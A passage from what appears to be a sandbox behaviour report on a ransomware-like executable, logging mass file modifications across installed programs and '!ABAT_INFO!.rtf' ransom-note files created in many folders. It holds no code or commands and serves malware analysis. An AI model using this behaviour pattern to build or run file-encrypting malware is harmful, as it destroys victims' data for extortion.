Files\Java\jre7\lib\zi\Etc\GMT-4 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Tell_City 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Sydney 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jni.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\StepEnter.php 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\drvSOFT.x3d 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\sw.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Monaco 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kabul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs-nio2.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\com-sun-tools-visualvm-modules-startup.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\chrome_pwa_launcher.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Reunion 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yerevan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\default-browser-agent.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Kwajalein 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jabswitch.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\ECLIPSE_.SF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ko_KR.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-execution.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Mauritius 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\Australia\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Grand_Turk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\te.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\ktab.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\rmid.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javafx.policy 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Cambridge_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-11 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.lucene.analysis_3.5.0.v20120725-1805.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\MSBuild\Microsoft.Office.InfoPath.targets 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp.zh_CN_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse_1.1.200.v20140414-0825.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_ko.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Azores 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Optional\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\ssvagent.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-BoldOblique.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_blu.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jsse.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Maputo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Bahia_Banderas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\es-419.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaTypewriterRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookicon.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\security\local_policy.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Santa_Isabel 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\THANKS.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Norfolk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Istanbul 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfoInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\rt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Boise 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\cpyr.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.inject_1.0.0.v20091030.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\jfluid-server-15.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-sampler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Bahia 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Norfolk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\jstat.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\dt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Cartridges\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Video-48.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Port-au-Prince 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations_2.4.0.v20131119-0908.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\plugin.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Auckland 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\java-rmi.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Mendoza 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Novokuznetsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\core.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-core-kit.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\jp2launcher.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\keytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\plugin.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Mexico_City 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\es.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Rarotonga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\PST8PDT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_pt_BR.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-swing-tabcontrol_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US_POSIX.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Adelaide 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-fallback.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Tarawa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\mr.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\cacerts 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.contenttype_3.4.200.v20140207-1251.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\jabswitch.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\MEIPreload\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\ExportImport.wma 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Caracas 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\tzmappings 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\olh.htm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf_3.4.0.v20140827-1444.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Karachi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Thunder_Bay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\index.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kiritimati 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\New_York 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program 